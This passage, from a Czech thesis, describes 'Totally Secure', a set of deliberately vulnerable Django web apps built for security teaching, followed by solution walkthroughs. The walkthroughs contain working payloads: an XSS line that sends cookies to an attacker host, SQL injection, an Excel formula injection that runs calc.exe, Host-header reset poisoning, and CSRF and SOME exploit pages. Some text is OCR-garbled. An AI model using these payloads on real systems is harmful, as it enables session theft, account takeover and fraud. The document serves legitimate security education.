kem ¢tyfmi zranitelnymi aplikacemi: Bank, Fitness, Fitness 2 a Cinema. Déle
je soucasti projektu i jedna aplikace na spravu ¢t studentt a vyucujicich.
Vsechny zranitelné aplikace se snazi byt realistické a prirozenym zptisobem
zakomponovat zranitelnosti. Stejné jako analyzované realistické aplikace ani
tyto neumoznuji volbu obtiznosti a neuvadéji uzivateli stav reSeni.

Na rozdil od porovnavanych aplikaci se tento projekt zaméruje na vyuku
s moznosti spoluprace s vyucujicim. Vyucujici kazdému studentovi vytvori
ucet a k nému se automaticky vytvori icty a dalsi potfebna data pro praci
s jednotlivymi aplikacemi. Student se muze prihlasit do svého uc¢tu a vidi
prihlasovaci idaje a napovédy k jednotlivym aplikacim. Dtlezité informace
jsou také umistény na prihlasovacich strankéch aplikaci. Uzivatelské ¢ty jsou
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(o]

.| %8¢

A K~ O
Slabé heslo L4
Chybéjici ochrana proti itoku hrubou silou || @ | @
Spatna manipulace s heslem  J
Eskalace privilegii  J
Spatné nastavena cookie ([
XSS {
CSRF L
Host header injection [
SQL injection o
Formula injection o o
SOME o

Tabulka 2.1: Zranitelnosti Totally Secure aplikaci

oddéleny tak, aby se snizila moznost, ze studenti od sebe budou opisovat.
Uzivatel mtze aplikaci samozfejmé vyuzivat i sdm.

Mezi implementované zranitelnosti jsme zaradili i v analyzovanych apli-
kacich chybéjici SOME a Formula injecion. Zbylé zranitelnosti jsou vytvoreny
na zakladé znalosti z praxe, kdy vétsina z nich je inspirovana skuteénymi
nélezy. Nékteré kategorie zranitelnosti jsou zde zastoupeny vicekrat. To je
zpusobeno faktem, ze jejich pritomnost v aplikacich je Casto bagatelizovana.
V tabulce je vidét rozlozeni zranitelnosti mezi aplikacemi.

Aplikace, stejné jako jiz existujici feseni, nevyuziva pro spojeni HTTPS,
ale HT'TP. Implementace HTTPS by na vytvofené zranitelnosti neméla zadny
vliv, naopak by ztizila nastaveni Burp Suite. Déale je aplikace v tzv. debugo-
vacim moédu. Pro toto nastaveni jsme se rozhodli z nékolika dtvodua. Jed-
noduseji se stahuji soubory ze serveru a neni potfeba vyuzivat jiny webovy
server pro predavani statickych soubort. Tim se také zjednodusuje insta-
lace a nastaveni aplikace. Dale se zjednodusuje implementace zranitelnosti
v aplikaci Fitness 2, kde se prebira a nespravné kontroluje hlavicka Host a je
pretvoreno odesildni emailu. Nevyhodou je, ze studenti se mohou v pripadé
neosettené chyby dozvédét informace o aplikaci, napriklad ¢ast kodu, kde doslo
k chybé. Citlivé informace Django ve vypisu vynechava. Program je vytvoren
pro operac¢ni systém Linux.

Cely projekt je vytvoren v anglickém jazyce, jelikoz laboratore jsou do-
stupné i anglickym studenttim. Vyuka predmétt probihé v ¢eském i anglickém
jazyce a nékteré predméty jsou vyucovany vyhradné v anglickém jazyce.
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2.1 Crossroads

Tato aplikace slouzi jako rozcestnik. Z ni se muiize uzivatel prihlasit do svého
profilu, nebo si precist informace o jednotlivych zranitelnych aplikacich a
nékterou z nich si vybrat. Vyucujici ve svém profilu vidi seznam studentt
a vyucujicich a muze vytvorit nového uzivatele. Pro jeho vytvoreni je potieba
zadat unikatni prihlasovaci jméno. Skript vytvori uzivatele a vsechna potiebnd
data do zranitelnych aplikaci. Na konci procesu je zobrazeno uzivatelovo heslo
do aplikace Crossroads. To lze zménit pouze v administratorské konzoli nebo
pres piikazovou radku. Vyucujici dale vidi to samé co student.

Student ma k dispozici seznam svych profild a jejich hesel ¢i instrukei
k ziskéni pristupu k tomuto aétu. Déle je zde zobrazen posledni email, ktery
byl vygenerovany v aplikaci Fitness 2 pii obnové hesla. Tato funkcionalita
slouzi k ovéreni funkénosti atoku.

2.2 Bank

Aplikace umoznuje uzivateli prihlasit se pomoci hesla a jednorazového kédu.
Vzhledem k povaze aplikace neni jednorazovy kéd skuteéné odesilan, je pouze
vygenerovan a ulozen pro kazdého uzivatele po zadani spravného hesla do
relace. Pro pripad zapomenuti hesla je zde moznost jeho obnovy. Po zod-
povézeni na bezpecnostni otazky je uzivateli zobrazeno stavajici heslo. Tato
funcionalita je simulovana, jelikoz Django uklddd pouze solené hashe hesel
a sul. Po prihlaSeni muze uzivatel zaddvat platby, sledovat stav svého konta
a zobrazovat prichozi a odchozi platby. Vypis plateb je dostupny pouze pro
prémiové uzivatele. Nékteré transakce jsou skryté i prémiovym zdkazniktm.
Cilem studenta je zobrazit skrytou platbu ve vypisu transakei.

2.3 Fitness

Na domovské strance je moznost prihlaseni pomoci uzivatelského jména a
hesla. Aplikace ma dva druhy uzivatelt. Zakaznik muze stahovat rozpis hodin
ve formatu .xlsx a vytvaret dotazy. Trenér muze vytvaret rozpis hodin a
odpovidat na dotazy uzivatelti. Soubor .x1lsx je vytvoren pomoci knihovny
openpyxl. [26] Cil studenta je infikovat soubor s rozvrhem tak, aby se na
uzivatelkém pocitaci po jeho otevieni spustila kalkulacka.

2.4 Fitness 2

Aplikace Fitness 2 mé stejny zdklad a stejnou posledni zranitelnost jako apli-
kace Fitness. Ostatni zranitelnosti jsou odebrany a jsou pridany dvé nové zra-
nitelné funkce. Prvni umoznuje obnovit heslo pomoci odeslani emailu uzivateli.
Kvli povaze aplikace ale neni skuteény email odeslan. Misto toho je uzivateli
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zobrazen posledni obnovovaci email v jeho profilu uvnitt aplikace Crossroads.
Princip vyuziti zranitelnosti se ale neméni. Dalsi funkcionalitou je zména hesla
u prihlaseného uzivatele. Cil studenta je stejny jako v predchozi aplikaci, ale
musi vyuzit jinych zranitelnosti.

2.5 Cinema

Zde se jako v predchozich pripadech musi uzivatel nejdrive prihlasit. Nasledné
si muze vybrat ze seznamu promitani a provést rezervaci. Také mutze komu-
nikovat s prateli a odesilat jim svij ziskany kredit. Aplikace ma nékolik li-
mitaci, které neméni podstatu obsazené zranitelnosti, ale omezuji jeji redlné
pouziti. Neni zde moznost pridavat pratele ¢i kontrolovat vytvorené rezervace.
Doruc¢ené zpravy v konverzaci se nacitaji pouze pri jejim otevieni. Cilem stu-
denta je odeslat kredit z jednoho u¢tu na druhy.
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KAPITOLA 3

Navod

3.1 Instalace

Aplikace je vyzkouSena na opera¢nim systémemu Debian 9 s Python interpre-
terem verze 3.5.3 a s Django verzi 2.1. Piikazy nutné pro instalaci prerekvizit
jsou:

su -
apt-get update

apt-get dist-upgrade
apt-get install python3-pip
apt-get install sqlite3
pip3 imnstall Django==2.1
pip3 install openpyxl

Nésledné staci zkopirovat slozku se zdrojovymi kédy. Vzhledem ke zranitel-
nostem aplikace je vhodné vyuzit virtualizace. Na prilozeném disku se nachéazi
archiv obsahujici virtualni stroj s predinstalovanou aplikaci. Archiv je potieba
rozbalit a ke spusténi virtudlniho stroje pouzit volné dostupny néstroj VM-
Ware Workstation Player [27]. Ve virtudlnim stroji je nainstalovdn opera¢ni
systém Debian 9, z kterého byly odstranény nepotiebné programy a apli-
kace byla nainstalovana dle postupu vyse. Zédn}'f dalsi spustitelny koéd neni
pridan. Uzivatelskd jména jsou debianuser a debianroot. Hesla jsou stejnéd
jako prihlasovaci jména. Vsechny informace l1ze nalézt i v souboru readme. txt.

3.2 Navod pro vyucujiciho

Pro spusténi aplikace je nejdfive potfeba presunout se do adresare, v kterém se
aplikace nachézi. Ve virtudlnim stroji je cesta /home/debianuser/TS. Dalsim
krokem je zadat v terminalu piikaz python3 manage.py runserver. Timto
prikazem se aplikace spusti a bude poslouchat pouze lokalné na portu 8000.
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Abychom umoznili spojeni od ostatnich zarizeni, pfiddme na konec prikazu
parametr 0.0.0.0:8000.

Na domovskou stranku se dostaneme zaddnim adresy http://<IP>:8000.
V horni ¢asti obrazovky je mozné se prihlasit. Prihlasovaci idaje pro admi-
nistratorsky tucet jsou uvedeny v souboru readme.txt na prilozeném disku
a také v adresari se zdrojovymi kédy. Pomoci nich po prihlaseni vytvorime
ucitelsky dcet zadanim uzivatelkého jména. Heslo je vygenerovano ndhodné a
je zobrazeno pouze jednou. Dale mizeme vytvaret dalsi ucty. Heslo lze zménit
pres administratorské rozhrani na adrese:

http://<APP_IP>:8000/admin

nebo prikazem:

python3 manage.py changepassword <username>

3.3 Nastroje vhodné k reseni

Resenf vytvorenych cviceni lze ve vétsiné pripadi dosdhnout pouze pomoci
webového prohlizece a jeho vyvojarskych néastroja. Praci si vsak lze znacné
zjednodusit pii vyuziti kvalitnich testovacich nastroja. Jejich znalost studenti
uplatni v praxi a je vhodné je s nimi sezndmit. Zaméiime se zde na volné
dostupné a neplacené programy.

3.3.1 Kali

Nejen pri penetracnim testovani lze vyuzit operacni systém Kali. Ten je zalozen
na linuxové distribuci Debian a je zdarma. Kali je udrzovan tymem Offensive
Security, ktery nabizi penetra¢ni testovani, tréninky a certifikace.

Vyhodou je 600 instalovanych nastroji na penetracni testovani webovych
aplikaci, databazi, ziskavani informaci, exploitaci, forenzni analyzu a reverzni
inzenyrstvi. Nékteré z nich jsou zcela zdarma, jiné jsou pouze omezené verze
placenych programi.

3.3.2 Burp Suite

Pii postupu lze nejvice zirocit webovou proxy s nazvem Burp Suite. Ta
umoznuje zachytavat a modifikovat pozadavky a odpovédi. Zaroven je mozné
dotazy odesilat opakované a odesilani automatizovat. Burp Suite obsahuje
dalsi pomocné nastroje pro porovnavani obsahu a jeho dekédovani. V placené
verzi je pritomen i skener, ktery umi odhalit zranitelnosti webovych aplikaci.
Burp Suite je mozné rozsitit pomoci uzivatelskych pridavka, ale nékteré z nich
jsou dostupné pouze pro platici zdkazniky.

Aplikace se pouziva spoleéné s webovym prohlize¢em. V ném je potfeba
nastavit adresu a port proxy na hodnotu 127.0.0.1:8080. Pokud chceme
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pristupovat k aplikacim pies protokol HT'TPS, musime importovat certifikat
Burp Suite do webového prohlizece. Z Burp Suite certifikdt exportujeme ze
zalozky Proxy - Options. Vice infromaci o nastaveni a fungovani nastroje
1ze nalézt na [2§]. Prni pozadavek jdouci pfes proxy bude zachycen diky volbé
Intercept v zalozce Proxy. Zachytavani vyuzivame pokud chceme prozkou-
mat a upravit obsah pozadavku.

3.4 Reseni tloh
3.4.1 Totally Secure Bank

Studentovi je na zacatku sdéleno, u kterého uzivatele ma zobrazit hledanou
transakci. PTi nelspésném pokusu o ptihlaseni je zobrazena moznost obnoveni
hesla. Zde se zobrazuji bezpetnostni otdzky. Dle nidpovédy je mozné najit
odpovéd na jednu z nich na socidlni siti twitter. Na ti¢tu obéti, ktery najdeme
napriklad zaddnim jména na strdnce https://twitter.com/search-home, se
nachazi fotka psa jménem Lajka. Po zadani spravné odpovédi je zobrazeno
aktualni heslo.

Dalsim krokem je pouziti hesla k prihlaseni. Nasledné je potifeba zadat
¢tyfmistny ndhodny kéd vytvoreny pro kazdého studenta zvlast. K tomu lze
vyuzit nastroj Intruder v programu Burp Suite. Pokusime se kéd uhodnout a
pozadavek zachytit v proxy. Tento pozadavek preposleme do Intruderu pres
menu vyvolané pravym tlacitkem mysi nebo pomoci klavesové zkratky Ctrl+I.
Dalsim krokem je pfenus do zdlozky Intruder. Budeme hadat hodnotu pa-
rametru code. Presuneme se do zalozky Positions a pouze hodnotu tohoto
parametru nechame obalenou znaky $. Na dalsi zdlozce priddme mezi odesilané
hodnoty seznam c¢isel. Kéd ma hodnotu mezi 1000 az 1200, aby bylo zadavani
jednodussi a utok netrval dlouho. Volné dostupna verze neumoznuje para-
lelni odesilani pozadavk. Utok spustime tlac¢itkem Start attack v pravém
hornim rohu. Zadani spravného kédu vede k presmérovani na domovskou
stranku, zatimco vsechny ostatni koédy ho ponechaji na strance se zadavanim
kédu. Tuto skuteénost miazeme vyuzit pii filtrovani odpovédi a ziskani spravné
hodnoty. Pro pripad vétsiho mnozstvi studentti vedouciho k zahlceni serveru
je mozné dané teseni predvést a sdélit jim staticky kod 6279, ktery funguje
pro vsechny uzivatele.

Cilem je ziskat zdznam o urcité platbé, ale jejich seznam je dostupny
pouze pro prémiové uzivatele. Pri dokonceni prihlaseni je nastavena dalsi co-
okie s ndzvem user_type. Jeji hodnota je kddovana pomoci base64. Hodnotu
miizeme dekdédovat v zédlozce Decoder a zjistit, ze jeji obsah je premium=false.
Pokud hodnotu upravime na premium=true, zakédujeme a zménime v dal$im
pozadavku, ziskame pristup k vypisu plateb. Pokud chceme zménit hodnotu
pro vSechny pozadavky, musime ji upravit pres vyvojarské nastroje prohlizece.

Po vybéru data a typu platby se zobrazi pouze normélni transakce. V po-
pise je uvedeno, ze vSechny platby jsou evidovany, ale nékteré typy plateb
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jsou uzivateli sdéleny pouze na pobocce. To nas vede k doménce, ze v tomto
vypise jsou platby filtrovany podle priznaku. Zkusime pouzit SQL injection,
ale zjistime, ze nékteré parametry jsou osetreny. Zdrojovy kéd dotazu do da-
tabaze vypada nasledovneé:

SELECT second_account, send_date, amount, transaction_comment \
FROM banking Transaction WHERE send_date BETWEEN "’ + \
date_from + ’" AND "’ + date_to + ’" AND user_is_sender = "’ + \
outgoing + ’" AND NOT transaction_hidden

Parametr pozadavku type se zpracuje a pfejmenuje na proménnou jménem
outgoing. Pokud do néj predame hodnotu 1"--, posledni ¢ast filtrujici skryté
platby bude zakomentovana. Tim zobrazime naprosto vsechny transakce v
daném casovém obdobi. Hledana platba byla provedena dne 17. srpna 2018.

3.4.2 Totally Secure Fitness

Prvnim tkolem studenta je ziskat pristup k uétu. V této aplikaci se ale ne-
nachézi moznost obnovy hesla. Chybi zde i ochrana proti itoku hrubou silou,
a vhodnym pristupem je slovnikovy dtok. Spravné heslo se nachazi v nékolika
seznamech nejpouzivanéjsich hesel. Nize je uvedeno nékolik prikladi.

e /usr/share/wordlists/metasploit/unix_passwords.txt
e /usr/share/wordlists/metasploit/passwords.lst
e Online v repozitari SecLists [29]

Seznam hesel mtzeme importovat do Intruderu. Postup je obdobny jako v
predchozim cviceni, ale tentokrat budeme hadat hodnotu parametru password.
V zalozce payload pouzijeme moznost Load a v dialogovém okné vybereme
spravny soubor. Pro tispéch stac¢i vybrat soubor se 100 nejpouzivanéjsimi hesly
ze seznamu [29]. Po provedeni utoku zjistime, ze spravné heslo je princess.

Pri prihlaseni si vSimneme, Ze cookie sessionid je nastavena bez direktivy
httpOnly. To znamend, Ze je dostupnad pomoci javascriptu. Vstoupime do
sekce kladeni otazek a pokusime se vstup otestovat na XSS. Obsah otazky je
oSetren, ale nazev neni. Jelikoz je délka vstupu limitovana, upravime parametr
po odeslani v Burp proxy. Dalsi moznosti je poslat nevalidni dotaz a dostat
informativni chybovou hlasku. Pomoci ni zjistime, Ze aplikace nespravné ridi
piistup a béznému uzivateli umoziuje odeslat i odpovéd na svoje otéazky.
Odpovéd neni nijak kontrolovéna, pouze je potfeba zjistit identifikator otazky,
ktery je uveden v HTML komentafi. Mame tedy dvé moznosti jak Gtok provést.
Cilem je odeslani cookie sessionid na utoc¢nikiv server. Utoénikiv vstup
muze vypadat napriklad takto:

20



3.4. Reseni tiloh

<script>
new Image().src="http://<ATTACKER_IP>7c="%2b(document.cookie)?3b
</script>

Pokud jakykoliv uzivatel daného studenta pristoupi na stranku s otdazkami,
jeho cookie bude automaticky odeslana. Student si na svém pocitaci mize za-
pnout webovy server Apache pomoci prikazu service apache2 start. Hod-
notu cookie pak zjisti ze souboru /var/log/apache2/access.log. Utoénikovi
potom stac¢i zménit jeji hodnotu v prohlize¢i. Dalsim krokem je pristoupit
k aplikaci pomoci trenéra a simulovat chovani obéti. Mtzeme tak ucinit nejlépe
z jiného prohlizece nebo anonymniho rezimu. Heslo k trenérskému uctu je uve-
deno v osobni strance studenta.

Po ukradeni spojeni zjistime, Ze se zde nachdzi moznost vytvareni novych
rozpisi ve forméatu x1sx. Cilem je spustit kalkulacku na néjakém uzivatelském
zalizeni. Budeme vychazet z predpokladu, ze nejvice uzivateli ma platforma
Windows. Do pole s obsahem souboru muzeme vlozit =cmd |’ /c calc.exe’!a.
Po stahnuti a otevieni souboru v programu Excel na operacnim systému Win-
dows dojde po povoleni obsahu ke spusténi kalkulacky.

3.4.3 Totally Secure Fitness 2

Stejné jako v predchozich pripadech je nejdrive potieba ziskat pristup k uctu.
V této aplikaci vSak kromé chyby musime vyuzit i socidlni inzenyrstvi. Kdyz se
neuspésné pokusime o prihlaseni, objevi se moznost obnovy hesla. Pii zadavani
udaju pro obnovu hesla je mozné zménit v proxy hlavicku Host na doménu
vlastnénou utoc¢nikem. Aplikace generuje odkaz v emailu pravé pomoci této
hlavi¢ky. Pokud uzivatele presvéd¢ime, aby kliknul na odkaz, pak zjistime
hodnotu parametru pro obnovu hesla a muzeme ho sami zménit. Lepsi va-
riantou pro utoc¢nika je vytvorit stranku podobnou té opravdové. Potom co
uzivatel heslo zadd aplikaci kontrolované ttoé¢nikem, odesle ttocnikova apli-
kace pozadavek na origindlni stranku se zménou hesla a uzivatele presméruje
na legitimni stranku. Ten si tak mysli, ze vse probéhlo v poradku.

Se zjisténym heslem se ptihlasime do bézného uctu, ale stile je potfeba
ziskat vyssi privilegia. Oproti pfedchozi aplikaci zde pribyla moznost zmény
hesla. Ta neobsahuje ochranu proti CSRF. Vytvoifime novou otazku a do jejiho
textu vlozime odkaz na utocnikovu stranku. Tato strdnka musi obsahovat kdd,
ktery odesle spravny pozadavek. Pi pouziti XMLHttpRequest prohlize¢ zobrazi
chybu kvili absenci hlavicky Access-Control-Allow-Origin. Stranka tak
musi obsahovat vyplnény formular, ktery je odeslan skriptem.

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8" />
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<script>

window.onload = function () { document.forms[0].submit(); }

</script>

</head>

<body>

<form method="POST"
action="http://<APP_IP>:8000/fitness_2/password_change.html">

<input type="hidden" name="password" value="aaaaaaaa"/>

<input type="hidden" name="password2" value="aaaaaaaa'"/>

<input type="submit" value="Send"/>

</form>

</body>

</html>

Jakykoliv uzivatel, ktery pristoupi na tuto stranku bude mit automaticky
zménéné heslo.

3.4.4 Totally Secure Cinema

Nejdrive se do aplikace prihlasime. Heslo a jméno nalezneme v aplikaci Cros-
sroads. Po prihlaseni vybereme promitani a otevre se vyskakovaci okno s de-
tailnimi tdaji a moznosti provést rezervaci. Po odeslani rezervace se v URL
objevi parametr callback, ktery urcuje, zda byla akce tspésna. Vyskakovaci
okno se zavie a v puvodnim okné se zobrazi hlaska o stavu rezervace. Tuto
hlasku zobrazuje funce v javascriptu. Volana funkce je urceno pravé hodnotou
parametru callback.

Druha stranka umoznuje komunikovat s dalsimi uzivateli a darovat jim kre-
dit. Pokusime se slozit vSe dohromady. Utocnik odesle obéti odkaz na vlastni
stranku. URL mutze vypadat napiiklad takto:

http://<ATTACKER_IP>/some.html

V tuto chvili se ptihlasime v jiném prohlizeci jako druhy uzivatel a doruceny
odkaz otevieme. Obsah této stranky je nésledovny:

<!doctype html>

<html>

<head>

<meta charset="utf-8">

<script>

function startSOME() {
location.replace("http://<APP_IP>:8000/cinema/friends.html") ;
window.open("some2.html") ;

}

</script>
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<button onclick=startSOME()>SOME</button>
</head>
<body>
</body>
</html>

Tato stranka obsahuje funkci, kterd otevie nové okno se strankou na ser-
veru utoc¢nika a puvodni okno presméruje na stranku s moznosti odeslani kre-
ditu. Funkce se pro jednoduchost spousti pomoci stisknuti tlacitka, protoze
Firefox blokuje automaticky otevirana okna. Obsah souboru some2.html:

<!doctype html>

<html lang="en">

<head>

<meta charset="utf-8">

</head>

<body>

<script>

function waitForDOM() {
location.replace("http://<APP_IP>:8000/cinema/reservation.html?
id=1&callback=document.body.lastElementChild
.lastElementChild.lastElementChild.lastElementChild
.firstElementChild.nextElementSibling.submit");

s

setTimeout (waitForDOM, 1000) ;

</script>

</body>

</html>

Tato stranka zméni parametr callback. V proménné opener na strance
s rezervaci je nastaven odkaz na stranku s odesilanim kreditt. Diky tomu
bude funkce v parametru callback spusténa pravé na ni. Pomoci DOMu jsme
vytvorili referenci na formular s odeslanim kreditti a odesleme ho pomoci
submit. Tim se kredity obéti, kterd otevriela obdrzeny odkaz prevedou na
ucet utocnika.
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Zaver

Cilem préace bylo analyzovat vybrané zamérné zranitelné webové aplikace,
kategorizovat je a popsat jejich zranitelnosti. Na zédkladé této analyzy nasledné
vytvorit vlasti aplikaci.

Na zacdtku jsme vybrané aplikace z projektu OWASP BWA a Foundstone
nainstalovali a vyzkouseli. Ziskali jsme tak seznam jejich zranitelnosti. Ty jsme
nésledné kategorizovali na zdkladé upraveného déleni, které vychazi z publi-
kace Web Application Hacker Handbook. Kazd4 kategorie obsahuje piiklady
zranitelnosti z danych aplikaci véetné ukazky jejich zneuziti.

Béhem analyzy jsme zjistili, Zze soubor aplikaci predstavuje komplexni
vzdélavaci nastroj obsahujici Siroké spektrum znamych zranitelnosti. Presto
zde nékteré chybi, naptiklad novéjsi Same Origin Method Execution nebo
Formula injection. Proto jsme je implementovali ve vlastnich aplikacich.

V praktické ¢asti jsme se snazili vytvorit aplikaci odliSnou. Analyzovana
feSeni jsou napsdna v jazycich PHP, Java, Ruby a Perl. My jsme pfi im-
plementaci aplikaci vyuzili programovaci jazyk Python a framework Django.
Zranitelnosti jsme neimplementovali tvz. vedle sebe, ale spojili je za sebe a
uzivatel tak k dosazeni cile potiebuje zneuzit vsechny zranitelnosti v dané
aplikaci. Takové aplikace vznikli celkem tri, ¢trvtd obsahuje pouze SOME.

Podarilo se nam vytvorit nastroj, ktery je vhodnym doplnénim existujicich
reseni, umoznuje uzivateliim zranitelnosti 1épe pochopit a poméaha jim trénovat
hledani zranitelnosti v realnych aplikacich.

Projekt, ktery jsme v této praci vytvorili, 1ze snadno rozsirit o dalsi apli-
kace. Ty by mohly obsahovat nové variace znamych i méné znamych zranitel-
nosti. Velky piinos by méla implementace problémt, které se v analyzovanych
aplikacich vyskytuji méné, napriklad SSRF ¢i XXE.
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PRILOHA A

Seznam pouzitych zkratek

AJAX Asynchronous JavaScript and XML
ASP Active Server Pages

bWAAP buggy Web Application

BWA Broken Web Applications

CAPTCHA Completely Automated Public Turing test to tell Computers
and Humans Apart

CD Compact Disc

CGI Common Gateway Interface
CORS Cross-Origin Resource Sharing
CRLF Carriage Return Line Feed
CSRF Cross-Site Request Forgery
DNS Domain Name System

DOM Document Object Model

DoS Denial of Service

DVWA Damn Vulnerable Web App
FQDN Fully Qualified Domain Name
GNU GNU’s Not Unix

HTML Hypertext Markup Language

HTTP Hypertext Transfer Protocol
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A. SEZNAM POUZITYCH ZKRATEK

HTTPS Hypertext Transfer Protocol Secure
ICMP Internet Control Message Protocol
IIS Internet Information Services

IP Internet Protocol

ISP Internet Service Provider

LFI Local File Inclusion

NTLM NT LAN Manager

OS Operating System

OSCP Offensive Security Certified Professional
OWASP Open Web Application Security Project
PHP PHP: Hypertext Preprocessor

RAR Roshal ARchive

RFI Remote File Inclusion

SMS Short Message Service

SOME Same Origin Method Execution
SOP Same Origin Policy

SQL Structured Query Language

SSI Server Side Includes

SSL Secure Sockets Layer

SSRF Server-Side Request Forgery

TCP Transmission Control Protocol

TLS Transport Layer Security

URI Uniform Resource Identifier

URL Uniform Resource Locator

XML eXtensible Markup Language

XSS Cross-Site Scripting

XXE XML External Entity
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PRILOHA B

Obsah prilozeného CD

readme.tXt «ver it e struény popis obsahu CD

I e o 2 - adresaf s virtualnim strojem
| _src

IMPl et e zdrojové kody implementace

theSiS cvviiiinnnnn . zdrojova forma prace ve formatu ITEX

I =D P text prace

LDPJ)voracek,Tomas,2019.pdf ............ text prace ve formatu PDF
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